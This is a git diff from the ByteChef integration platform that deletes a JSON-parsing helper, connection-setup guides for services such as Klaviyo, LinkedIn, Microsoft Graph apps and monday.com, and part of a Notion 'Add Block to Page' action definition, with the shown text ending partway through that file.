-    private void flattenMapRecursive(Map<String, Object> map, String prefix, Map<String, Object> result) {
-        for (Map.Entry<String, Object> entry : map.entrySet()) {
-            String key = prefix.isEmpty() ? entry.getKey() : prefix + "." + entry.getKey();
-            Object value = entry.getValue();
-
-            if (value instanceof Map) {
-                flattenMapRecursive((Map<String, Object>) value, key, result);
-            } else {
-                result.put(key, value);
-            }
-        }
-    }
-
-    @SuppressWarnings("unchecked")
-    private Object parseJson(String content) {
-        if (content == null || content.isEmpty()) {
-            return null;
-        }
-
-        content = content.trim();
-
-        if (content.startsWith("[")) {
-            return parseJsonArray(content);
-        } else if (content.startsWith("{")) {
-            return parseJsonObject(content);
-        }
-
-        return null;
-    }
-
-    private List<Map<String, Object>> parseJsonArray(String content) {
-        try {
-            return new com.fasterxml.jackson.databind.ObjectMapper().readValue(
-                content, new com.fasterxml.jackson.core.type.TypeReference<List<Map<String, Object>>>() {});
-        } catch (Exception exception) {
-            return List.of();
-        }
-    }
-
-    private Map<String, Object> parseJsonObject(String content) {
-        try {
-            return new com.fasterxml.jackson.databind.ObjectMapper().readValue(
-                content, new com.fasterxml.jackson.core.type.TypeReference<Map<String, Object>>() {});
-        } catch (Exception exception) {
-            return Map.of();
-        }
-    }
-}
diff --git a/server/libs/modules/components/jwt-helper/src/main/resources/connection.mdx b/server/libs/modules/components/jwt-helper/src/main/resources/connection.mdx
deleted file mode 100644
index e69de29bb2d..00000000000
diff --git a/server/libs/modules/components/klaviyo/src/main/resources/connection.mdx b/server/libs/modules/components/klaviyo/src/main/resources/connection.mdx
deleted file mode 100644
index 4b6ea973dd2..00000000000
--- a/server/libs/modules/components/klaviyo/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,14 +0,0 @@
-## Connection Setup
-
-1. Login to the dashboard at https://www.klaviyo.com/login?next=/account.
-2. Click on your account.
-3. Click on Settings.
-4. Click on API keys.
-5. Under the Private API Keys section, select Create Private API Key.
-6. Name your API key and select Full Access Key.
-7. Click Create.
-8. Copy the API key. Use these credentials to create a connection in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/wgokkQZJMgzfu6z25DJW?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/linear/src/main/resources/connection.mdx b/server/libs/modules/components/linear/src/main/resources/connection.mdx
deleted file mode 100644
index 45ad5711ae9..00000000000
--- a/server/libs/modules/components/linear/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,14 +0,0 @@
-## Connection Setup
-
-1. Login to the dashboard at https://linear.app/login.
-2. You need to create a new OAuth2 Application to get credentials. First click on your profile.
-3. Click on Settings.
-4. Under Administration section, choose API.
-5. Click on New OAuth application.
-6. Fill information and enable Public.
-7. Enable Webhooks and fill information. Then click Create.
-8. Copy the Client ID and Client secret. Use these credentials to create a connection in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/WxAFGHjl0yfpptJdJLNU?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/linkedin/src/main/resources/connection.mdx b/server/libs/modules/components/linkedin/src/main/resources/connection.mdx
deleted file mode 100644
index ca27c2fa8f9..00000000000
--- a/server/libs/modules/components/linkedin/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,31 +0,0 @@
-## Connection Setup
-
-To integrate LinkedIn with ByteChef, you will need a LinkedIn account and access to a LinkedIn Company Page.
-
-1. Go to the `https://www.linkedin.com/developers`.
-2. Click on **My apps**.
-3. Click on **Create app**.
-4. Fill in the required fields:
-    - **App name**: Enter a name for your application (e.g., `bytechef integration`).
-    - **LinkedIn Page**: Enter a LinkedIn Company Page or use the Create a new LinkedIn Page link to create one on-the-fly.
-    - **App logo**: Upload an image for your application.
-     - **Legal agreement**: Check the box to agree to the Legal agreement.
-5. Click on **Create app**.
-6. This should open the Products tab. Select the products/APIs you want to enable for your app.
-7. Request access for the **Share on LinkedIn**
-8. Request access for the **Sign In with LinkedIn using OpenID Connect**
-9. Go to the **Auth** tab.
-10. Specify the URL where users will be redirected after authorization (e.g., `https://app.bytechef.io/callback`)
-11. Copy the **Client ID** and **Client Secret** for later use.
-
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
-    <iframe src="https://www.guidejar.com/embed/w1vC0F2FhnUDnhSWXJ66?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
-</div>
-
-To post as an organization, you need to verify your app as being associated with this company.
-
-1. Go to the **Settings** tab.
-2. Click **Verify**.
-3. Click **Generate URL**.
-4. Copy URL and send it to a Company Page admin for verfication.
-5. Once verification is complete, return to the **Products** tab and enable the **Advertising API** to allow posting as an organization.
diff --git a/server/libs/modules/components/mailerlite/src/main/resources/connection.mdx b/server/libs/modules/components/mailerlite/src/main/resources/connection.mdx
deleted file mode 100644
index 8990eacb7ee..00000000000
--- a/server/libs/modules/components/mailerlite/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,18 +0,0 @@
-## Connection Setup
-
-### Find API Token
-
-1. Navigate to your MailerLite dashboard.
-2. Click on **Integrations**.
-3. Click on **API**.
-4. Click on **Generate new token**.
-5. Enter name of your API token.
-6. Enable **Terms of Use**.
-7. Click on **Create token**.
-8. **Copy** your API token because you will not be able to see the full token again.
-9. Exit the popup window.
-
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/1e893316-4f6e-4317-8a49-0dede23bf9f4?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/mattermost/src/main/resources/connection.mdx b/server/libs/modules/components/mattermost/src/main/resources/connection.mdx
deleted file mode 100644
index 80443a622e0..00000000000
--- a/server/libs/modules/components/mattermost/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,17 +0,0 @@
-## Connection Setup
-
-1. Go to **System Console**.
-2. Scroll to **INTEGRATIONS** and click on **Integration Management**.
-3. Scroll to **Enable Personal Access Tokens** and click true.
-4. In **System Console** find **USER MANAGEMENT** and click on **Users**.
-5. Identify the account you want to create a personal access token with. By default, only System Admins have permissions to create a personal access token. To create an access token with a non-admin account, you must first give it the appropriate permissions. Find the user account, then select **Manage Roles** from the dropdown.
-6. Select **Allow this account to generate personal access tokens** and **post:all** and then click **Save**.
-7. Go back to your profile and go to **Account Settings**.
-8. Go to **Security** and under Personal Access Token click **Edit**.
-9. Select **Create Token**.
-10. Enter a description for the token and then select **Save**.
-11. Copy the access token and use it in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/5J2JFtQxMk4MRClIWEzL?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/microsoft/microsoft-excel/src/main/resources/connection.mdx b/server/libs/modules/components/microsoft/microsoft-excel/src/main/resources/connection.mdx
deleted file mode 100644
index b8563ecbd21..00000000000
--- a/server/libs/modules/components/microsoft/microsoft-excel/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,22 +0,0 @@
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/microsoft-graph-application-setup_v1).
-
-### Grant Necessary Permissions
-
-1. Open the Azure Portal: https://portal.azure.com/
-2. Click on **App registrations**.
-3. Click on **All applications**.
-4. Click on application you want to connect to Microsoft Excel.
-5. Click on **API permissions**.
-6. Click on **Microsoft Graph (1)**.
-7. Select following scopes:
-     - Files.ReadWrite
-     - offline_access
-8. After selecting all the scopes click on **Update permissions**
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/lm23aTaCO5fOnTw02g98?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/microsoft/microsoft-one-drive/src/main/resources/connection.mdx b/server/libs/modules/components/microsoft/microsoft-one-drive/src/main/resources/connection.mdx
deleted file mode 100644
index c8b0cb19c10..00000000000
--- a/server/libs/modules/components/microsoft/microsoft-one-drive/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,22 +0,0 @@
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/microsoft-graph-application-setup_v1).
-
-### Grant Necessary Permissions
-
-1. Open the Azure Portal: https://portal.azure.com/
-2. Click on **App registrations**.
-3. Click on **All applications**.
-4. Click on application you want to connect to Microsoft OneDrive.
-5. Click on **API permissions**.
-6. Click on **Microsoft Graph (1)**.
-7. Select following scopes:
-     - Files.ReadWrite
-     - offline_access
-8. After selecting all the scopes click on **Update permissions**
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/zpYIHd7Hegb549Jmdemu?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/microsoft/microsoft-outlook-365/src/main/resources/connection.mdx b/server/libs/modules/components/microsoft/microsoft-outlook-365/src/main/resources/connection.mdx
deleted file mode 100644
index b3a08b4bde4..00000000000
--- a/server/libs/modules/components/microsoft/microsoft-outlook-365/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,25 +0,0 @@
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/microsoft-graph-application-setup_v1).
-
-### Grant Necessary Permissions
-
-1. Open the Azure Portal: https://portal.azure.com/
-2. Click on **App registrations**.
-3. Click on **All applications**.
-4. Click on application you want to connect to Microsoft Outlook.
-5. Click on **API permissions**.
-6. Click on **Microsoft Graph (1)**.
-7. Select following scopes:
-    - Mail.ReadWrite
-    - Mail.Send
-    - MailboxSettings.Read
-    - Calendars.ReadWrite
-    - offline_access
-8. After selecting all the scopes click on **Update permissions**
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/4e2d6273-8ace-44f7-8414-9be1f145229b?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/microsoft/microsoft-share-point/src/main/resources/connection.mdx b/server/libs/modules/components/microsoft/microsoft-share-point/src/main/resources/connection.mdx
deleted file mode 100644
index 11e8d53baae..00000000000
--- a/server/libs/modules/components/microsoft/microsoft-share-point/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,23 +0,0 @@
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/microsoft-graph-application-setup_v1).
-
-### Grant Necessary Permissions
-
-1. Open the Azure Portal: https://portal.azure.com/
-2. Click on **App registrations**.
-3. Click on **All applications**.
-4. Click on application you want to connect to Microsoft SharePoint.
-5. Click on **API permissions**.
-6. Click on **Microsoft Graph (1)**.
-7. Select following scopes:
-    - Sites.Manage.All
-    - Sites.ReadWrite.All
-    - offline_access
-8. After selecting all the scopes click on **Update permissions**
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/TVx0AVdJ8A1LFineEiDt?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/microsoft/microsoft-teams/src/main/resources/connection.mdx b/server/libs/modules/components/microsoft/microsoft-teams/src/main/resources/connection.mdx
deleted file mode 100644
index ff112f232c4..00000000000
--- a/server/libs/modules/components/microsoft/microsoft-teams/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,26 +0,0 @@
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/microsoft-graph-application-setup_v1).
-
-### Grant Necessary Permissions
-
-1. Open the Azure Portal: https://portal.azure.com/
-2. Click on **App registrations**.
-3. Click on **All applications**.
-4. Click on application you want to connect to Microsoft Teams.
-5. Click on **API permissions**.
-6. Click on **Microsoft Graph (1)**.
-7. Select following scopes:
-     - Channel.Create
-     - Channel.ReadBasic.All
-     - ChannelMessage.Send
-     - Chat.ReadWrite
-     - Team.ReadBasic.All
-     - offline_access
-8. After selecting all the scopes click on **Update permissions**
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/pM8jOSv3CEQnOnICK4NE?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/microsoft/microsoft-to-do/src/main/resources/connection.mdx b/server/libs/modules/components/microsoft/microsoft-to-do/src/main/resources/connection.mdx
deleted file mode 100644
index 6c794ffc261..00000000000
--- a/server/libs/modules/components/microsoft/microsoft-to-do/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,22 +0,0 @@
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/microsoft-graph-application-setup_v1).
-
-### Grant Necessary Permissions
-
-1. Open the Azure Portal: https://portal.azure.com/
-2. Click on **App registrations**.
-3. Click on **All applications**.
-4. Click on application you want to connect to Microsoft To Do.
-5. Click on **API permissions**.
-6. Click on **Microsoft Graph (1)**.
-7. Select following scopes:
-    - Tasks.ReadWrite
-    - offline_access
-8. After selecting all the scopes click on **Update permissions**
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/PwOHtTYQc3KSfiJnrBvx?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/mixpanel/src/main/resources/connection.mdx b/server/libs/modules/components/mixpanel/src/main/resources/connection.mdx
deleted file mode 100644
index fc8c03d257c..00000000000
--- a/server/libs/modules/components/mixpanel/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,10 +0,0 @@
-## Connection Setup
-
-1. Login to the dashboard at https://eu.mixpanel.com/login/.
-2. Click on Settings.
-3. Select Settings and then click on Project Settings.
-4. Under Access Keys section, copy the Project Token. Use these credentials to create a connection in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/mZ86S7nxlbxJX8afuZXQ?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/monday/src/main/resources/connection.mdx b/server/libs/modules/components/monday/src/main/resources/connection.mdx
deleted file mode 100644
index 4e301607c34..00000000000
--- a/server/libs/modules/components/monday/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,24 +0,0 @@
-## Connection Setup
-
-Connect monday.com to ByteChef using OAuth 2.0 (Authorization Code).
-
-### Create an OAuth app in monday.com
-1. Open monday.com and click your profile avatar (top-right).
-2. Click on **Developers** to open the Developer Center.
-3. Click **Create app** (or open your existing app).
-4. Give the app a clear name, for example `ByteChef Integration`.
-5. In the left menu, open **Build** and choose **OAuth & permissions**.
-6. Add the following scopes (minimum required by ByteChef):
-   - `boards:read`
-   - `boards:write`
-   - `workspaces:read`
-   - `webhooks:write`
-7. Save the scopes.
-8. Click on **Redirect URLs** and add the ByteChef OAuth redirect (callback) URL(s):
-    - Cloud: `https://app.bytechef.io/callback`
-    - Local development: `http://127.0.0.1:5173/callback` or `http://localhost:5173/callback`
-9. Go back to **General settings** and copy your **Client ID** and **Client Secret** for later.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/z4s4DK5VY6yXHQmp3feO?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/nifty/src/main/resources/connection.mdx b/server/libs/modules/components/nifty/src/main/resources/connection.mdx
deleted file mode 100644
index 3dd994bc3f6..00000000000
--- a/server/libs/modules/components/nifty/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,22 +0,0 @@
-## Connection Setup
-
-### Create OAuth2 App
-
-1. Navigate to your [Nifty](https://niftypm.com/case/agile-development/?utm_campaign=10981377029&utm_campaign=WorldWideDev-traffic-Search-14&utm_source=g&utm_source=adwords&utm_medium=cpc&utm_medium=ppc&utm_content=&utm_term=&utm_term=&ad_id=648900225750%E2%80%A9&hsa_acc=6503027811&hsa_cam=10981377029&hsa_grp=116587391671&hsa_ad=648900225750&hsa_src=g&hsa_tgt=dsa-1034839133995&hsa_kw=&hsa_mt=&hsa_net=adwords&hsa_ver=3&gad_source=1&gad_campaignid=10981377029&gbraid=0AAAAACydPO--RTfGKXzwwAaWd0b4pQxeW&gclid=CjwKCAiAu67KBhAkEiwAY0jAlcdshbZXCzyoCD7ZVdahI1GfjePmp5VvXd5P1iV3QjuSVRcAsJvlyxoCBC8QAvD_BwE) dashboard.
-2. Click on your account name.
-3. Click on **Settings**.
-4. Click on **App Center**.
-5. Click on **Integrate with API**.
-6. Click on **Create a new App**.
-7. Enter name and description.
-8. Enter **Redirect URI** depending on your instance:
-     - `https://app.bytechef.io/callback` (Cloud)
-     - `http://localhost:5173/callback` (Local dev)
-9. Add all needed Scopes.
-10. Click on **Create**.
-11. Click this icon.
-12. Here are Client ID and Client Secret.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(52.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/d345f40c-f9ff-4717-895a-0449d23bb3e1?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/nocodb/src/main/resources/connection.mdx b/server/libs/modules/components/nocodb/src/main/resources/connection.mdx
deleted file mode 100644
index 37dd9eb84db..00000000000
--- a/server/libs/modules/components/nocodb/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,14 +0,0 @@
-## Connection Setup
-
-Connect NocoDB to ByteChef using an API Token.
-
-1. Log in to your NocoDB account (Cloud: https://app.nocodb.com).
-2. Click your avatar in the bottom‑left corner.
-3. Open **API Tokens**.
-4. Click **Create new token**.
-5. Enter a descriptive name (for example, `ByteChef Integration`) and click **Save**.
-6. Copy the generated token and keep it secure.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/PayrWUMJSScjPQutvCIe?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/notion/src/main/java/com/bytechef/component/notion/action/NotionAddBlockToPageAction.java b/server/libs/modules/components/notion/src/main/java/com/bytechef/component/notion/action/NotionAddBlockToPageAction.java
deleted file mode 100644
index 8f29a98572a..00000000000
--- a/server/libs/modules/components/notion/src/main/java/com/bytechef/component/notion/action/NotionAddBlockToPageAction.java
+++ /dev/null
@@ -1,433 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.notion.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.array;
-import static com.bytechef.component.definition.ComponentDsl.bool;
-import static com.bytechef.component.definition.ComponentDsl.object;
-import static com.bytechef.component.definition.ComponentDsl.option;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.definition.Context.Http.ResponseType;
-import static com.bytechef.component.notion.constant.NotionConstants.CAPTION;
-import static com.bytechef.component.notion.constant.NotionConstants.CHECKED;
-import static com.bytechef.component.notion.constant.NotionConstants.CHILDREN;
-import static com.bytechef.component.notion.constant.NotionConstants.COLOR;
-import static com.bytechef.component.notion.constant.NotionConstants.CONTENT;
-import static com.bytechef.component.notion.constant.NotionConstants.EXPRESSION;
-import static com.bytechef.component.notion.constant.NotionConstants.ID;
-import static com.bytechef.component.notion.constant.NotionConstants.LANGUAGE;
-import static com.bytechef.component.notion.constant.NotionConstants.RICH_TEXT;
-import static com.bytechef.component.notion.constant.NotionConstants.TYPE;
-import static com.bytechef.component.notion.constant.NotionConstants.URL;
-import static com.bytechef.component.notion.util.NotionBlockType.BOOKMARK;
-import static com.bytechef.component.notion.util.NotionBlockType.BREADCRUMB;
-import static com.bytechef.component.notion.util.NotionBlockType.BULLETED_LIST_ITEM;
-import static com.bytechef.component.notion.util.NotionBlockType.CALLOUT;
-import static com.bytechef.component.notion.util.NotionBlockType.CODE;
-import static com.bytechef.component.notion.util.NotionBlockType.EMBED;
-import static com.bytechef.component.notion.util.NotionBlockType.FILE;
-import static com.bytechef.component.notion.util.NotionBlockType.HEADING_1;
-import static com.bytechef.component.notion.util.NotionBlockType.HEADING_2;
-import static com.bytechef.component.notion.util.NotionBlockType.HEADING_3;
-import static com.bytechef.component.notion.util.NotionBlockType.NUMBERED_LIST_ITEM;
-import static com.bytechef.component.notion.util.NotionBlockType.PARAGRAPH;
-import static com.bytechef.component.notion.util.NotionBlockType.PDF;
-import static com.bytechef.component.notion.util.NotionBlockType.QUOTE;
-import static com.bytechef.component.notion.util.NotionBlockType.TABLE_OF_CONTENTS;
-import static com.bytechef.component.notion.util.NotionBlockType.TOGGLE;
-import static com.bytechef.component.notion.util.NotionBlockType.TO_DO;
-import static com.bytechef.component.notion.util.NotionBlockType.getPropertyTypeByName;
-
-import com.bytechef.component.definition.ActionDefinition.OptionsFunction;
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Context.Http;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TypeReference;
-import com.bytechef.component.notion.util.NotionBlockType;
-import com.bytechef.component.notion.util.NotionRichTextType;
-import com.bytechef.component.notion.util.NotionUtils;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-/**
- * @author Monika Kušter
- */
-public class NotionAddBlockToPageAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("addBlockToPage")
-        .title("Add Block to Page")
-        .description("Adds a new content block to a page.")
-        .properties(
-            string(ID)
-                .label("Parent Page ID")
-                .options((OptionsFunction<String>) NotionUtils::getPageIdOptions)
-                .required(true),
-            array(CHILDREN)
-                .label("Children")
-                .maxItems(100)
-                .description("Child content to append to a container block as an array of block objects.")
-                .items(
-                    object()
-                        .properties(
-                            string(TYPE)
-                                .label("Block Type")
-                                .description("The type of block to add.")
-                                .options(
-                                    option("Bookmark", BOOKMARK.getName()),
-                                    option("Breadcrumb", BREADCRUMB.getName()),
-                                    option("Bulleted List Item", BULLETED_LIST_ITEM.getName()),
-                                    option("Callout", CALLOUT.getName()),
-                                    option("Code", CODE.getName()),
-                                    option("Embed", EMBED.getName(),
-                                        "Embed block objects include information about another website " +
-                                            "displayed within the Notion UI."),
-                                    option("Equation", NotionBlockType.EQUATION.getName()),
-                                    option("Heading 1", HEADING_1.getName()),
-                                    option("Heading 2", HEADING_2.getName()),
-                                    option("Heading 3", HEADING_3.getName()),
-                                    option("Numbered List Item", NUMBERED_LIST_ITEM.getName()),
-                                    option("Paragraph", PARAGRAPH.getName()),
-                                    option("Quote", QUOTE.getName()),
-                                    option("Table of Contents", TABLE_OF_CONTENTS.getName()),
-                                    option("To Do", TO_DO.getName()),
-                                    option("Toggle", TOGGLE.getName()))
-                                .required(true),
-                            array(CAPTION)
-                                .label("Caption")
-                                .description("The caption for the bookmark.")
-                                .displayCondition(
-                                    "%s == '%s'".formatted(CHILDREN + "[index]." + TYPE, BOOKMARK.getName()))
-                                .items(
-                                    object()
-                                        .properties(
-                                            string(TYPE)
-                                                .options(
-                                                    option("Text", NotionRichTextType.TEXT.getName()),
-                                                    option("Equation", NotionRichTextType.EQUATION.getName()))
-                                                .defaultValue(NotionRichTextType.TEXT.getName())
-                                                .required(true),
-                                            object(NotionRichTextType.TEXT.getName())
-                                                .label("Text")
-                                                .displayCondition("%s == '%s'".formatted(
-                                                    CHILDREN + "[index]." + CAPTION + "[index]." + TYPE,
-                                                    NotionRichTextType.TEXT.getName()))
-                                                .properties(
-                                                    string(CONTENT)
-                                                        .label("Content")
-                                                        .description("The actual text content of the text.")
-                                                        .required(true))
-                                                .required(false),
-                                            object(NotionRichTextType.EQUATION.getName())
-                                                .label("Equation")
-                                                .displayCondition("%s == '%s'".formatted(
-                                                    CHILDREN + "[index]." + CAPTION + "[index]." + TYPE,
-                                                    NotionRichTextType.EQUATION.getName()))
-                                                .properties(
-                                                    string(EXPRESSION)
-                                                        .label("Expression")
-                                                        .description(
-                                                            "The LaTeX string representing the inline equation.")
-                                                        .required(true))
-                                                .required(true)))
-                                .required(false),
-                            string(URL)
-                                .label("Url")
-                                .description("The link for the bookmark.")
-                                .displayCondition(
-                                    "%s == '%s'".formatted(CHILDREN + "[index]." + TYPE, BOOKMARK.getName()))
-                                .required(true),
-                            string(URL)
-                                .label("Url")
-                                .description("The link to the website that the embed block displays.")
-                                .displayCondition(
-                                    "%s == '%s'".formatted(CHILDREN + "[index]." + TYPE, EMBED.getName()))
-                                .required(true),
-                            string(EXPRESSION)
-                                .label("Expression")
-                                .description("A KaTeX compatible string.")
-                                .displayCondition("%s == '%s'".formatted(CHILDREN + "[index]." + TYPE,
-                                    NotionBlockType.EQUATION.getName()))
-                                .required(true),
-                            bool(CHECKED)
-                                .label("Checked")
-                                .description("Whether the To do is checked.")
-                                .displayCondition(
-                                    "%s == '%s'".formatted(CHILDREN + "[index]." + TYPE, TO_DO.getName()))
-                                .required(false),
-                            string(COLOR)
-                                .label("Color")
-                                .description("The color of the block.")
-                                .displayCondition(
-                                    "%s == '%s' || %s == '%s' || %s == '%s' || %s == '%s' || %s == '%s'".formatted(
-                                        CHILDREN + "[index]." + TYPE, BULLETED_LIST_ITEM.getName(),
-                                        CHILDREN + "[index]." + TYPE, CALLOUT.getName(),
-                                        CHILDREN + "[index]." + TYPE, TO_DO.getName(),
-                                        CHILDREN + "[index]." + TYPE, TABLE_OF_CONTENTS.getName(),
-                                        CHILDREN + "[index]." + TYPE, TOGGLE.getName()))
-                                .options(
-                                    option("Blue", "blue"),
-                                    option("Blue Background", "blue_background"),
-                                    option("Brown", "brown"),
-                                    option("Brown Background", "brown_background"),
-                                    option("Default", "default"),
-                                    option("Gray", "gray"),
-                                    option("Gray Background", "gray_background"),
-                                    option("Green", "green"),
-                                    option("Green Background", "green_background"),
-                                    option("Orange", "orange"),
-                                    option("Orange Background", "orange_background"),
-                                    option("Yellow", "yellow"),
-                                    option("Green", "green"),
-                                    option("Pink", "pink"),
-                                    option("Pink Background", "pink_background"),
-                                    option("Purple", "purple"),
-                                    option("Purple Background", "purple_background"),
-                                    option("Red", "red"),
-                                    option("Red Background", "red_background"),
-                                    option("Yellow Background", "yellow_background"))
-                                .defaultValue("default")
-                                .required(false),
-                            array(RICH_TEXT)
-                                .label("Rich Text")
-                                .description("The rich text in the block.")
-                                .maxItems(1)
-                                .displayCondition(
-                                    ("%s == '%s' || %s == '%s' || %s == '%s' || %s == '%s' || %s == '%s' || " +
-                                        "%s == '%s' || %s == '%s' || %s == '%s' || %s == '%s' || %s == '%s' || " +
-                                        "%s == '%s'")
-                                            .formatted(
-                                                CHILDREN + "[index]." + TYPE, BULLETED_LIST_ITEM.getName(),
